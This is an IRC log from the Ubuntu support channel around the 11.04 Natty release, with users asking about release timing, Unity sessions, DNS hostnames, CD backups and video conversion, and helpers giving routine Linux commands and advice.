[05:43] <theGreatDane> i change ssh port to random high port and attacks on my ssh went from 30 a day to ZERO
[05:43] <Abhijit> cordoval_, just a min
[05:43] <theGreatDane> zero
[05:44] <lapion> cordoval then type gksudo shutdown -h now
[05:44] <Herbs> lol obviously you have 22 open to the world your going to get attacked from every bot net out there
[05:44] <lapion> sorry cordoval_
[05:44] <MasterUbuntu> reves are you the real mark?
[05:44] <cordoval_> sorry?
[05:44] <cordoval_> please tell me
[05:44] <lapion> correct thing to logout should be:
[05:45] <cordoval_> i cant log out
[05:45] <ayecee> MasterUbuntu: the internet doesn't work that way.
[05:45] <nutsfornatty> ssh port should always be changed from default. bots usually wont waste the time scanning alts
[05:45] <cordoval_> rats!
[05:45] <theGreatDane> yep
[05:45] <cordoval_> and cats too!
[05:45] <lapion> cordoval_, alt-f2 in the ensuing window type gksudo restart gdm
[05:45] <theGreatDane> i doubt i'll ever have an attack again
[05:45] <theGreatDane> no1 bothers to scan high ports
[05:45] <crazy_pete> bah
[05:46] <RRU_Sciguy> Try not to have ports open to everything. And dynamic ports are more secure, but may be more of a hassle. I don't have enough experience to tell for sure
[05:46] <hcook> can anybody point me to some current information about running 32-bit binaries with a wrapper in 64-bit ubuntu? looking to make guitar pro 6 work but it's only available as an i386 .deb
[05:46] <nutsfornatty> if an admin changes the ssh port, chances are that admin added other layers of protection
[05:46] <nutsfornatty> hackers want to 22 noobs haha
[05:46] <crazy_pete> apt-cache search "/.*/VBoxAdditions.*"  returns nada
[05:46] <Herbs> thegreatdane it dont matter if they do just changing the default throws of the automated if anyone is targiting your box it dont matter what port you change it to if there determined to get in
[05:47] <crazy_pete> where can i get the virtual box guest addons for ubuntu please?
[05:47] <theGreatDane> yea but they've no reason to be determined
[05:47] <nutsfornatty> herbs, i think we should ask Sony about that
[05:47] <theGreatDane> plenty of servers out there with ssh on 22
[05:47] <Herbs> lol nuts
[05:47] <nutsfornatty> ssh on 22 is just so lazy
[05:47] <theGreatDane> and all these script kiddies, only try to get in by ssh
[05:48] <nutsfornatty> read logs, ban ip addresses
[05:48] <theGreatDane> i have fail2ban
[05:48] <cordoval_> rats!
[05:48] <cordoval_> get me back to 10.10
[05:48] <buhman> is it out yet??
[05:48] <Herbs> fail2ban @ thegreatdane
[05:48] <Abhijit> cordoval_, alt+sysrq+k
[05:48] <cordoval_> just tell me how to I revese
[05:48] <cordoval_> I want 10.10 back
[05:48] <nutsfornatty> im more worried about all the phpmyadmin hacks out there than ssh hacking
[05:48] <cordoval_> rats!
[05:48] <ayecee> cordoval_: reinstall is the easiest way.
[05:48] <theGreatDane> didnt hear about that
[05:49] <cordoval_> reinstall?
[05:49] <cordoval_> what do you mean, how can I reinstall natty?
[05:49] <theGreatDane> well my server isn't running httpd
[05:49] <lapion> cordoval_, all you need to do is go to the classic desktop
[05:49] <theGreatDane> its only running openvpn
[05:49] <cordoval_> how though
[05:49] <theGreatDane> so actually the iptables only allows 2 ports to be open, one for ssh and one for openvpn
[05:49] <Abhijit> bye
[05:49] <Herbs> yes the main threat for webservers these days are injections Id say
[05:49] <cordoval_> please tell me how do I go to classic desktop and also how to reinstall nantty
[05:49] <gogearvibe4g> I have a problem
[05:49] <ayecee> cordoval_: reinstall maverick. you wanted to downgrade, right?
[05:49] <theGreatDane> locked down better than fort knox
[05:49] <nutsfornatty> ah, my server isnt running phpmyadmin . but those hacks are so nasty on all the wordpress and cms sites
[05:49] <lapion> at the login screen after entering your username when you get the request for the password..
[05:49] <cordoval_> I want to go to classic desktop then reinstall natty
[05:49] <gogearvibe4g> i am trying to burn a data cd and it is not working
[05:50] <nutsfornatty> phpmyadmin was a bit of a silly idea in the first place
[05:50] <lapion> cordoval_, at the bottom of the screen you get the option to select your session
[05:50] <cordoval_> I have no login screen
[05:50] <cordoval_> no bottom nothing
[05:50] <cordoval_> it goes straight in
[05:50] <ls_> uhh
[05:50] <cordoval_> lapion: please help me
[05:50] <ls_> its apr 28
[05:50] <nutsfornatty> cordoval, you got your data backed up?
[05:50] <ls_> wheres my ubuntu
[05:50] <ayecee> cordoval_: natty is still supported only in #ubuntu+1
[05:50] <gogearvibe4g> Try monitor settings
[05:50] <ayecee> ls_: get in line.
[05:50] <maco> cordoval_: gnome-session-save --kill         <-- that work?
[05:50] <lapion> he want out of unity not reinstall
[05:50] <velcroshooz> there is not a set hour it comes out. it does not release at 12 am. it could be any time on the 28th.
[05:50] <nutsfornatty> ls, as always.. ubuntu is never released at the strike of midnight
[05:50] <ayecee> ls_: try #ubuntu-release-party for breaking news.
[05:50]  * skrapp_jaw loves x2x
[05:51] <maco> cordoval_: you can also restart gdm with "sudo service gdm restart"
[05:51] <lapion> go to System->Administration->Users and Groups
[05:51] <gogearvibe4g> My cd burner is not working....i try to burn pictures and it won't burn them
[05:52] <Herbs> gogervibe4g > google
[05:52] <lapion> maco he needs to disable autologin first
[05:52] <physically_fit> i'm hungry
[05:52] <maco> lapion: oh yeah i guess restarting gdm would make it behave like a new boot instead of a logout...
[05:53] <lapion> he is not the first person to hate unity
[05:53] <maco> lapion: i havent even tried it, and ive been on natty for months :P
[05:53] <Herbs> maco this is Linux not windows you dont need to restart the whole box :)
[05:53] <lapion> he doesn't understand he can press esc to stop autologin
[05:53] <maco> Herbs: what's that have to do with anything i said?
[05:54] <maco> lapion: ooh i didnt know about that
[05:54] <cordoval_> you said ubuntu+1 supports natty?
[05:54] <maco> cordoval_: yes
[05:54] <cordoval_> ok but i get no response
[05:54] <lapion> they are off drinking champagne
[05:54] <maco> cordoval_: did you see what lapion just said about hitting escape to make it not autologin?
[05:54] <Herbs> maco this lapion: oh yeah i guess restarting gdm would make it behave like a new boot instead of a logout...
[05:55] <maco> Herbs: nowhere in there did i suggest rebooting the box
[05:55] <cordoval_> no I did not see
[05:55] <cordoval_> please repeat
[05:55] <Herbs> lol
[05:55] <maco> cordoval_: umm... "hit escape to stop autologin"?
[05:55] <Herbs> read it again then again
[05:55] <cordoval_> also I am on classic now
[05:55] <cordoval_> but I want to go back to natty and fix my bar left
[05:55] <cordoval_> ok
[05:55] <linusasus6> Hi I would like to know when the update will be avaible and if we can use both shell unity and gnome, me I prefer gnome but I will try unity for see, if I dont like I will delete unity
[05:55] <cordoval_> but i want to fix the problem
[05:56] <lapion> that's unity not natty, antty also contains classic
[05:56] <lapion> natty
[05:56] <maco> Herbs: i was saying that if you log out but gdm stays running, it knows that and doesnt autologin again. normally, only the first login after boot is autologin, but i hadnt considered the case where the gdm service has been restarted while the system's running
[05:56] <maco> linusasus6: Natty will be released at some point while it is 28 April in at least one timezone on the planet Terra in the system Sol. also, natty discussion goes in #ubuntu+1 and the party is in #ubuntu-release-party
[05:57] <Herbs> maco fair enough never used an autologin before and my usage of guis is limited
[05:57] <madhu> hello
[05:57] <madhu> ?
[05:57] <maco> madhu: feel free to ask a question
[05:57] <madhu> hi maco
[05:57] <lapion> and not question-mark us
[05:57] <juzzy_> gday
[05:57] <juzzy_> im in canada
[05:57] <juzzy_> its the 28th
[05:57] <juzzy_> is ubuntu coming out any moment now?
[05:58] <madhu> how to mention suffix name in ubuntu
[05:58] <maco> juzzy_:  Natty will be released at some point while it is 28 April in at least one timezone on the planet Terra in the system Sol. also, natty discussion goes in #ubuntu+1 and the party is in #ubuntu-release-party
[05:58] <juzzy_> thanks
[05:58] <madhu> hi maco
[05:58] <lapion> I have some friends who have been  in tokalau and they are still living in the 27th
[05:58] <madhu>  how to mention suffix name in ubuntu
[05:59] <hcook> can anybody point me to some current information about running 32-bit binaries with a wrapper in 64-bit ubuntu? looking to make guitar pro 6 work but it's only available as an i386 .deb
[05:59] <ayecee> madhu: how do you mean?
[05:59] <ayecee> hcook: I'd like to, but I'm afraid I'd have to google it myself.
[05:59] <madhu> in windows we add computer and dns suffix name right---- system.india.org
[06:00] <madhu> how to get this in ubuntu
[06:00] <Herbs> hcook you need a chroot jail Im to tired to go into it though the easiest way would be a 32 bit VM but that wont work as you need graphics
[06:00] <tensorpudding> computer name is called hostname, it works the same way
[06:00] <tenochslb> so if we have beta we just update on update mangaer?
[06:00] <lapion> system name is usually the suffix
[06:00] <madhu> ya hostname is ok
[06:00] <rww> tenochslb: yes
[06:00] <codex84> how can i transfers file to my ubuntu to a laptop
[06:00] <codex84> useing windows xp
[06:01] <madhu> i need like this---  hostname.ubuntu.com
[06:01] <tensorpudding> codex84: you can enable file sharing on ubuntu
[06:01] <ayecee> madhu: where should that appear?
[06:01] <maco> madhu: the hostname command or /etc/hostname
[06:01] <ashmew2> !natty
[06:01] <ubottu> Natty Narwhal is the codename for Ubuntu 11.04, due April 28 2011. Help and support (only) in #ubuntu+1. Natty is beta and is not currently intended for production systems.
[06:01] <lapion> madhu first you need to be owner of ubuntu.com
[06:01] <Herbs> madhu /etc/hosts
[06:01] <ashmew2> !party
[06:01] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[06:02] <ashmew2> omg im banned from u-r-p
[06:02] <bazhang> ashmew2, /msg ubottu
[06:02] <hcook> ayecee: Herbs: all i could find googling was this really old (2005/hoary) forum howto....is that still about how it works?
[06:02] <hcook> http://ubuntuforums.org/showthread.php?t=24575
[06:02] <ashmew2> bazhang: what to msg ?
[06:02] <madhu> in /etc/hostname it is showing only the hostname not the suffix name
[06:02] <hiexpo> hola bazhang
[06:02] <bazhang> ashmew2, no need to create so much noise in the channel
[06:02] <tensorpudding> codex84: the easy way is to find the folder you want to share, right click and go to Sharing Options, then allow users to create files there. then on windows, look for the computer in your neighborhood
[06:02] <litropy> I have a Kensington Orbit Optical trackball. As you can see: (http://tinyurl.com/6btnlhv), it doesn't have a scroll wheel. While using supported operating systems, right-click+leftclick'ing tells the OS to scroll with the ball's y-axis until another click happens. How can I attain the same functionality in Ubuntu?
[06:03] <ashmew2> bazhang: can u unban me now ?
[06:03] <jgaviria> wait for upgarde :)
[06:03] <vibhav> 11.04 released?
[06:03] <madhu> in redhat we had this---http://www.centos.org/docs/5/html/CDS/ag/8.0/Configuring_Directory_Databases-Creating_and_Maintaining_Suffixes.html
[06:03] <jgaviria> yes... in Colombia 12:03
[06:04] <jgaviria> waiting .... :(
[06:04] <Herbs> hcook depends what you need to do thats a whole ubuntu 32 bit chroot
[06:04] <ayecee> hcook: that should work. I'm not sure that all of that is necessary, but you'd need 32-bit libraries installed as a minimum.
[06:04] <tensorpudding> codex84: this requires your windows xp machine, and your ubuntu machine, to be on the same LAN
[06:04] <Guest74426> Hi.  I'm new here so I do know what I am doing yet.
[06:04] <vibhav> is 11.04 released in India?
[06:05] <tensorpudding> codex84: do you understand?
[06:05] <ayecee> Guest74426: it's often a good idea to watch for awhile to get a feel for what's going on here.
[06:05] <ayecee> vibhav: no
[06:05] <madhu> hi lapion
[06:05] <Guest74426> Can anyone help me with a problem?
[06:05] <vibhav> do you know when?
[06:05] <ayecee> Guest74426: only if you describe the problem
[06:05] <yuskhanzab> cant wait natty release
[06:05] <jgaviria> 11.04 release in usa ??
[06:05] <ayecee> vibhav: some time on the 28th
[06:05] <hcook> Guest74426: depends on the problem
[06:05] <ayecee> !party | yuskhanzab
[06:05] <ubottu> yuskhanzab: Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[06:05] <tameable> i have an issue trying to enable wireless on my Lenovo B560.  Each time I Fn-F5, my Ubuntu 11.04 hung.
[06:05] <vibhav> ayecce : You too are from India?
[06:06] <yuskhanzab> !party
[06:06] <ayecee> vibhav: no, I do not have that privilege
[06:06] <vibhav> oh!
[06:06] <Guest74426> Great here it is.  When I installed Ubuntu 10.1 with my windows xp, I found that it installed two versions.  How do I get rid of one version?
[06:06] <vibhav> ANY INDIAN HERE?
[06:06] <jiltdil> is 11.04 released or coming tommorow?
[06:06] <lapion> hi madhu
[06:06] <nishanth> anyone know if natty is out?
[06:06] <vibhav> ANY INDIAN HERE?
[06:06] <tensorpudding> !caps | vibhav
[06:06] <ubottu> vibhav: PLEASE DON'T SHOUT! We can read lowercase too.
[06:06] <bazhang> vibhav, in #ubuntu-in
[06:06] <tensorpudding> natty isn't out yet
[06:07] <theGreatDane> any idea what /var/log/lastlog is for?
[06:07] <nishanth> isn't is 28th in SA yet?
[06:07] <vibhav> ok!
[06:07] <vibhav> sorry
[06:07] <maco>  Natty will be released at some point while it is 28 April in at least one timezone on the planet Terra in the system Sol. also, natty discussion goes in #ubuntu+1 and the party is in #ubuntu-release-party
[06:07] <ayecee> theGreatDane: records the last login time for users :)
[06:07] <Herbs> last login use last -f /var/log/lastlog to view
[06:07] <ayecee> theGreatDane: used by the "last" program, for instance.
[06:07] <nishanth> #ubuntu+1
[06:07] <maco> nishanth: /join
[06:07] <theGreatDane> thanks
[06:07] <locodir-user> hey what time in UTC +10 is ubuntu scheduled to be released
[06:08] <lapion> theGreatDane, type the command lastlog and you find out ayecee
[06:08] <maco> locodir-user: when it's ready
[06:08] <tensorpudding> i don't know, is the announcement actually scheduled at a particular time?
[06:08] <maco> tensorpudding: no
[06:08] <madhu> hi maco
[06:08] <locodir-user> tensorpudding: thanks im not sure
[06:08] <cordoval_> how to reinstall unity?
[06:08] <velcroshooz> anytime on the 28th.
[06:08] <maco> it'll be released when all the CDs come out right
[06:08] <maco> and no sooner
[06:08] <cordoval_> sudo apt-get install unity?
[06:08] <maco> cordoval_: this channel is not for natty
[06:08] <tensorpudding> cordoval_: why does it need to be reinstalled
[06:09] <maco> cordoval_: if you ran some random executable from the internet and overwrote a chunk of your compiz, i really dont think reinstalling unity is going to fix that
[06:09] <cordoval_> because I missed the left and top panels
[06:09] <tensorpudding> missed?
[06:09] <BATMAN_> guys will i be able to install gnome shell 3 on ubuntu 11.04
[06:09] <lapion> cordoval_, odds are you did not uninstall unity all you would need to do is logout and at login you select unity again
[06:09] <cordoval_> just tell me how to reinstall it please
[06:09] <tensorpudding> reinstalling won't change any configuration you might have made
[06:09] <maco> BATMAN_: there's a PPA. also this channel isnt for 11.04
[06:09] <tensorpudding> this is by design
[06:09] <bazhang> maco, he's using natty and crossposting here
[06:09] <maco> cordoval_: sudo apt-get install --reinstall unity
[06:09] <theGreatDane> im using aide, and i set it to notify me about 'atime' changes, however it appears that opening a file doesn't change the atime
[06:09] <nutsfornatty> question, how do i properly remove a ppa from ubuntu? added that xmbc ppa and now its giving me all types of errors
[06:10] <maco> bazhang: i know
[06:10] <theGreatDane> if i open a file over winscp for example
[06:10] <maco> cordoval_: please stop asking 11.04 questions in here
[06:10] <jgaviria> sorry ... UTC +10. sure ... Australia
[06:10] <madhu> hi maco
[06:10] <vibhav> nutsfornatty : refer to  http://bigbrovar.aoizora.org/index.php/2010/01/10/how-to-safely-remove-ppa-repository-from-ubuntu/
[06:10] <maco> madhu: hello
[06:10] <jgaviria> 3:09 PM - Thursday, April 28, 2011
[06:10] <tensorpudding> where does unity keep it's config?
[06:10] <maco> madhu: is there a reason you keep highlighting me with nothing more than the word "hi"?
[06:10] <nutsfornatty> ty kindly @ vibhav
[06:10] <maco> tensorpudding: please ask in the natty channel
[06:10] <vibhav> your welcome
[06:11] <madhu> how to get dns names, hostname.ubuntu.com
[06:11] <tensorpudding> meh
[06:11] <madhu> ya
[06:11] <madhu> u r not responding so
[06:11] <tensorpudding> are you really going to wait until the announcement before you stop telling people to join #ubuntu+1?
[06:11] <ls_> is it out yet
[06:11] <ayecee> ls_: no
[06:11] <ls_> sorry wrong channel
[06:11] <lapion> madhu, you want to keep a database or simply have the current computer resolve the names correctly ?
[06:11] <cordoval_> lapion: nothing
[06:11] <madhu> yes
[06:11] <maco> madhu: questions are to be answered by whomever can. you already got the answer that you must be the owner of the higher-level domain you're trying to put it under. you dont own ubuntu.com so you can't
[06:12] <ayecee> tensorpudding: I imagine many people here have not yet used natty, so it'd be hard to support.
[06:12] <vibhav> madhu : - use network tools in System -> Administration
[06:12] <tensorpudding> that won't change tomorrow
[06:12] <jiltdil> hi indians
[06:12] <maco> madhu: buy a domain name. tell your domain name registrar that you want a DNS record for that subdomain to point to the machine's domain.
[06:12] <ayecee> tensorpudding: not overnight, no.
[06:12] <lapion> madhu, yes to which question
[06:12] <madhu> how to be the owner of *.com
[06:12] <nutsfornatty> you need to own the .com
[06:12] <mythri> how to copy files from terminal to cd on ubuntu
[06:12] <maco> madhu: buy it
[06:12] <maco> madhu: i buy my domain names from 123-reg.co.uk
[06:13] <isout1> is it out yet?
[06:13] <isout1> is it out yet?
[06:13] <maco> isout1: no
[06:13] <isout1> test
[06:13] <ayecee> isout1: no
[06:13] <isout1> test
[06:13] <FloodBot2> isout1: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:13] <isout1> test
[06:13] <nutsfornatty> and i doubt you are buying the ubuntu.com domain anytime soon so... gl
[06:13] <vibhav> Not in India
[06:13] <rww> !party | isout1
[06:13] <ubottu> isout1: Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[06:13] <madhu> how to create it
[06:13] <illmortal> Does anyone know of a GUI based multimedia converter like mencoder?
[06:13] <jiltdil> madhu:just by the domain .com
[06:13] <isout1> test
[06:13] <madhu> before i buy
[06:13] <isout1> test
[06:13] <mythri> how to copy files from terminal to a dvd or cd..my ubuntu STOPPED WORKING
[06:13] <maco> madhu: pay money to a domain name registrar
[06:13] <isout1> test
[06:13] <isout1> test
[06:13] <FloodBot2> isout1: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:13] <isout1> test
[06:13] <maco> madhu: its usually about $10/year
[06:13] <tensorpudding> madhu: domain names are bought, you need to find a registrar and pay them money
[06:13] <madhu> i had the domain name----- darkhorseboa.com
[06:13] <tensorpudding> at repeated intervals
[06:13] <mythri> how to copy files from terminal to a dvd or cd..my ubuntu STOPPED WORKING..I need to backup my files..really in mess now
[06:14] <ayecee> illmortal: dvdrip is a good front end for ripping dvds specifically, but I haven't seen a good one for general purpose video conversion.
[06:14] <tensorpudding> it's like renting a storage unit
[06:14] <lapion> madhu, you need a local dns-server
[06:14] <Herbs> mythri first what does pwd show
[06:14] <bazhang> illmortal, handbrake
[06:14] <tensorpudding> and the domain name you want has to not actually be used
[06:14] <illmortal> ayecee I need one that convert MKVto avi
[06:14] <tensorpudding> already
[06:14] <lapion> madhu, or bind
[06:14] <Glaceon> ok new problem
[06:14] <madhu> how to create a local dns server
[06:14] <ayecee> illmortal: good luck with that
[06:15] <Herbs> easy install bind and create the zone entries
[06:15] <illmortal> bazhang, handbrake?
[06:15] <tensorpudding> madhu: there's lots of documents out there for BIND 9 and djbdns
[06:15] <bazhang> illmortal, yes
[06:15] <mythri> usr13, how to copy files from terminal to a dvd or cd..my ubuntu STOPPED WORKING..I need to backup my files..really in mess now
[06:15] <undecim> anyone have any experience installing Grub4Dos to a thumb drive/hard drive from Ubuntu? I would really hate to go through the trouble of setting up dual boot just for this...
[06:15] <tensorpudding> madhu: which are the most popular DNS servers
[06:15] <AustinWolfclaw> What time does natty drop?
[06:15] <vibhav> mythri cdrecord dev=/dev/hdc speed=24 driveropts=burnfree -dao -data /path/to/files
[06:15] <lapion> madhu, but you have a small amount of suffixes you should simple create a hosts file and distribute..
[06:15] <bazhang> AustinWolfclaw, no one knows
[06:15] <madhu> ok
[06:15] <Glaceon> i installed ubuntu and it told me to restart when i did all it boots into is a blank black screen with a flashing underscore
[06:15] <madhu> i will check with bind9
[06:15] <illmortal> ok I'll check it out right now.
[06:15] <tensorpudding> well, most popular Linux ones, I'm sure the Microsoft one is terribly popular
[06:15] <madhu> ok
[06:16] <mythri> vibhav, all i can acess is my terminal and i m new to ubuntu..pls it would be greatful if u guide me through terminal
[06:16] <vibhav> okkk
[06:16] <Herbs> mythri type init 5
[06:16] <madhu> ya i installed bind9
[06:17] <Herbs> or service gdm start
[06:17] <Glaceon> anyone?
[06:17] <yepitsme19> Hello all
[06:17] <tensorpudding> hmm, Microsoft's DNS server is a fork of BIND
[06:17] <mythri> Herbs, i need to backup all my files in ubuntu..to a cd..all i can acess is terminal on recovery mode
[06:17] <ayecee> Glaceon: what's your question?
[06:17] <Glaceon> i installed ubuntu and it told me to restart when i did all it boots into is a blank black screen with a flashing underscore
[06:17] <ayecee> Glaceon: yes, I saw that. what is your question?
[06:17] <vibhav> mythri : ohhh
[06:17] <hid3> Hello everyone. Is there any information on detailed release schedule today?
[06:18] <ayecee> hid3: no.
[06:18] <vibhav> mythri : have you installed Windows?
[06:18] <Glaceon> whats going on ? why wont it boot???
[06:18] <hid3> oh wel...
[06:18] <madhu> wen i configured the named.conf.local
[06:18] <maco> hid3:  Natty will be released at some point while it is 28 April in at least one timezone on the planet Terra in the system Sol
[06:18] <mythri> vibhav, yeah i have windows with me
[06:18] <ayecee> Glaceon: hard to say. have you tried powering off and restarting?
[06:18] <mythri> vibhav,  i need to backup all my files in ubuntu..to a cd..all i can acess is terminal on recovery mode
[06:18] <Glaceon> yes
[06:18] <hid3> yeah, pretty informative ;-)
[06:18] <vibhav> mythri : the files are on the ubuntu Drive or on the Windows Drive?
[06:18] <ayecee> Glaceon: does anything appear on screen before it reaches that point?
[06:18] <cbart> it's April 28, can I upgrade now? or is it STILL beta?
[06:19] <Bruce_Wayne> does gnome-shell 1 provide ALT+TAB feature? Because in mine, it doesn't seem to work
[06:19] <mythri> vibhav, the files are on ubuntu drive
[06:19] <ayecee> cbart: still beta until it's formally released.
[06:19] <Herbs> mythri is the drive mounted rw?
[06:19] <maco> cbart:  Natty will be released at some point while it is 28 April in at least one thid3:  Natty will be released at some point while it is 28 April in at least one timezone on the planet Terra in the system Sol
[06:19] <maco> vibhav, yeah i have windows with me
[06:19] <maco> bah
[06:19] <vibhav> On the Desktop?
[06:19] <maco> vibhav: sorry i fail at copy paste
[06:19] <mythri> Herbs,  i dont know i m new to ubuntu
[06:19] <Herbs> mythri type mount -o remount,rw /
[06:19] <cbart> so, later today
[06:19] <cbart> damn
[06:19] <Glaceon> my motherboard splash screen
[06:19] <maco> oh i see it scrolled while i copied
[06:19] <cbart> i can't wait any longer!
[06:19] <vibhav> maco : - On the Desktop?
[06:19] <ayecee> cbart: quite likely, yes. join #ubuntu-release-party for breaking news.
[06:19] <vibhav> maco : - The files are on the desktop?
[06:20] <maco> vibhav: i copied what someone else said because the text scrolled while i was copying
[06:20] <mythri> vibhav, its in home folder
[06:20] <vibhav> okk
[06:20] <mythri> vib in documets
[06:20] <vibhav> maco : - Can you boot to Windows?
[06:20] <juzzy_> IS it safe to uninstall FGLRX?
[06:20] <maco> vibhav: i dont have a windows box
[06:20] <ayecee> Glaceon: hmm. without grub showing up, about all you could do is try installing again at this point.
[06:20] <Glaceon> grrr.....
[06:20] <illmortal> hmm.. installed Handbrake-cli and it's not even in my applications menu. even tried opening it via terminal.. claims it doesn't exist.
[06:20] <maco> vibhav: as i said twice already, saying that to you was the result of accidentally copying what someone ELSE said
[06:20] <mythri> vibhav, wat can i do now
[06:21] <maco> illmortal: dpkg -L  packagename    <-- will list all files installed by the package
[06:21] <vibhav> mythri : - Ill talk to you first and then to maco"
[06:21] <Bruce_Wayne> Guys, Does gnome-shell provide ALT+TAB feature? Because in mine, it doesn't seem to work... ANYBODY here have used gnome-shell?
[06:21] <maco> vibhav: uh, im headed to bed dude. dunno why you need to talk to me
[06:21] <Herbs> dpkg -L | grep packagenameyoursearchingfor
[06:21] <ayecee> illmortal: might help to see what was actually installed. dpkg -L packagename will show what was actually installed.
[06:21] <maco> Herbs: no
[06:21] <mythri> vibhav, ok
[06:22] <ayecee> Bruce_Wayne: natty support is still in #ubuntu+1 at this time
[06:22] <maco> Herbs: you give it the packagename directly and then can grep for a file within it
[06:22] <vibhav> maco : - I thought you changed your name to maco.....oops.....lolz
[06:22] <IanWizard-Mobile> so do we have a timeframe for tomorrow?
[06:22] <maco> IanWizard-Mobile: Natty will be released at some point while it is 28 April in at least one timezone on the planet Terra in the system Sol
[06:22] <ayecee> IanWizard-Mobile: not at this time. join #ubuntu-release-party for breaking news.
[06:22] <vibhav> mythri : - Do you have windows installed?
[06:22] <Herbs> maco ah ok cool
[06:23] <ayecee> maco: that's unreasonably optimistic :)
[06:23] <IanWizard-Mobile> you're right, stupid question
[06:23] <nashj> Hello everyone!
[06:23] <IanWizard-Mobile> see you tomorrow. :)
[06:23] <maco> ayecee: it's the standard line for the last 4 years, and it's held true ;-)
[06:23] <nashj> Any idea when Ubuntu will release?
[06:23] <illmortal> uhm.. how do I open the HandBrakeCLI UI?
[06:23] <maco> nashj: Natty will be released at some point while it is 28 April in at least one timezone on the planet Terra in the system Sol
[06:23] <illmortal> --help doesn't give me much info.
[06:23] <mythri> vibhav, yea i have a windows installed
[06:24] <maco> illmortal: cli would include it doesnt have a gui.....
[06:24] <velcroshooz> illmortal, cli means command line interface, there is no gui
[06:24] <maco> illmortal: erm, s/include/imply/
[06:24] <bazhang> illmortal, you dont, its cli
[06:24] <IanWizard-Mobile> maco, you have that in your clipboard don't you.
[06:24] <vibhav> mythri : - Can you boot to Windows on your Compueter
[06:24] <maco> IanWizard-Mobile: yes
[06:24] <ayecee> maco: I'm pretty sure it's slipped a few days in some years, but I don't have an example offhand.
[06:24] <illmortal> oh lawd.
[06:24] <vibhav> mythri : - Can you boot to Windows on your Computer
[06:24] <rww> release slipped two months once :3
[06:24] <bazhang> illmortal, you want gtk
[06:24] <maco> ayecee: 6.06 was moved by a few months, but that was decided a lot earlier than 24h before
[06:24] <IanWizard-Mobile> good for you, we need someone to fend off annoying people like me.
[06:24] <nashj> maco: Yes, that is true, But any idea in how many more hours will the release be scheduled?
[06:25] <bazhang> nashj, no
[06:25] <illmortal> ya i need an interface... I tried using mencoder.. I can't access my external hard drive because it's named, "My Book" (with a space)
[06:25] <maco> nashj: what is this "scheduled" of which you speak?
[06:25] <illmortal> and I cannot rename my external HDD
[06:25] <what1> Is the 11.04 release delayed? It's already almost the 28th in PST!?!
[06:25] <what1> is it out yet??
[06:25] <maco> nashj: it's ready when all the CDs come out not-broken
[06:25] <ayecee> what1: no
[06:25] <bazhang> illmortal, its handbrake-gtk
[06:25] <illmortal> ok bazhang
[06:25] <maco> illmortal: put a \ before the space, problem solved
[06:25] <nashj> maco: :) I mean around what time will Natty be release. Any idea?
[06:26] <maco> nashj: when it's ready
[06:26] <IanWizard-Mobile> what1 it's two hours until the 28th pst
[06:26] <illmortal> really? ok.. let me check. so i would type My\ Book?
[06:26] <nashj> maco: lol! ok... thanks
[06:26] <maco> nashj: i cannot predict the future to determine when the builds will work
[06:26] <bazhang> nashj, no one knows stop asking
[06:26] <velcroshooz> the ops should add 'no its not out yet' to the topic ;) not that it would help.
[06:26] <maco> nashj: get me a crystal ball if you want a better answer!
[06:26] <ayecee> nashj: better yet, join #ubuntu-release-party for breaking news
[06:26] <maco> illmortal: yes
[06:26] <bazhang> velcroshooz, the topic already addresses that
[06:26] <illmortal> ok ^^
[06:26] <Herbs> imortal you could change the label on the drive and remount it or just remount it to a mount point without spaces
[06:26] <Herbs> or use "my book"
[06:27] <Genghiz> anyone knows what time Ubuntu 11.04 will be released
[06:27] <testi> I'm wondering why I have plugins activated in firefox such as DivX Web Player, iTunes Application Detecter, QuickTime Plugin-in and Shockwave Flash. I was hoping and thought that they are not available to Ubuntu. Are they fake and wrapped to totem or vlc?
[06:27] <maco> Genghiz: Natty will be released at some point while it is 28 April in at least one timezone on the planet Terra in the system Sol
[06:27] <Herbs> Im really tempted to write this bash script to tell you lol]
[06:27] <ayecee> Genghiz: breaking news in #ubuntu-release-party
[06:27] <Genghiz> maco that can be +- 12 hours
[06:28] <maco> Genghiz: yep
[06:28] <maco> Genghiz: actually i think its +13/-12
[06:28] <pp7_> is the 11.04 torrent out yet?
[06:28] <maco> Genghiz: there is a UTC+13 timezone after all
[06:28] <vibhav> pp7_ : No
[06:28] <john__> trh
[06:28] <john__> fg
[06:28] <john__> dfghdf
[06:28] <john__> gfhd
[06:28] <john__> gfh
[06:28] <john__> gf
[06:28] <FloodBot2> john__: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:28] <pp7_> :(
[06:28] <Genghiz> maco,  :)
[06:29] <illmortal> ok one last question.. the video is 720p HD quality... should the bitrate still stay @ 1200?
[06:30] <ayecee> illmortal: that's a fairly technical question, and should probably be directed at a forum surrounding the converting application you're using.
[06:30] <illmortal> ok
[06:31] <ayecee> illmortal: I had thought that 1500 was typical for xvid encoding of movies, at least.
[06:31] <illmortal> hm... interesting.. I'll test both 1200 and 1500 :)
[06:31] <illmortal> thank you guys for assisting me.. that was fast and helpful :D
[06:32] <what2> Is the 11.04 release delayed? It's already almost the 28th in PST!?!
[06:32] <what2> is it out yet??
[06:35] <zdg> 大家好！
[06:35] <ayecee> my thoughts exactly
[06:36] <histo> whomie: no
[06:36] <histo> Whatamess: no
[06:36] <histo> wthf
[06:36] <ayecee> histo: already gone.
[06:36] <histo> ahh
[06:36] <histo> well it's not delayed it's just waitin
[06:36] <ayecee> histo: I did the same thing, except that I read what I typed first :)
[06:36] <psycho_oreos> that person only stayed for a total of one minute :) Guess there's some people with really itchy hands
[06:37] <histo> see ubuntu doesn't sleep it just lies in wait like chuck norris
[06:37] <histo> ayecee: I type too fast to catch it
[06:37] <ayecee> histo: you are the keyboard ninja :)
[06:38] <renshai> Is there a ubuntu channel for newb questions?
[06:38] <histo> renshai: here
[06:38] <gloopie>  /exit
[06:39] <gloopie> O.o
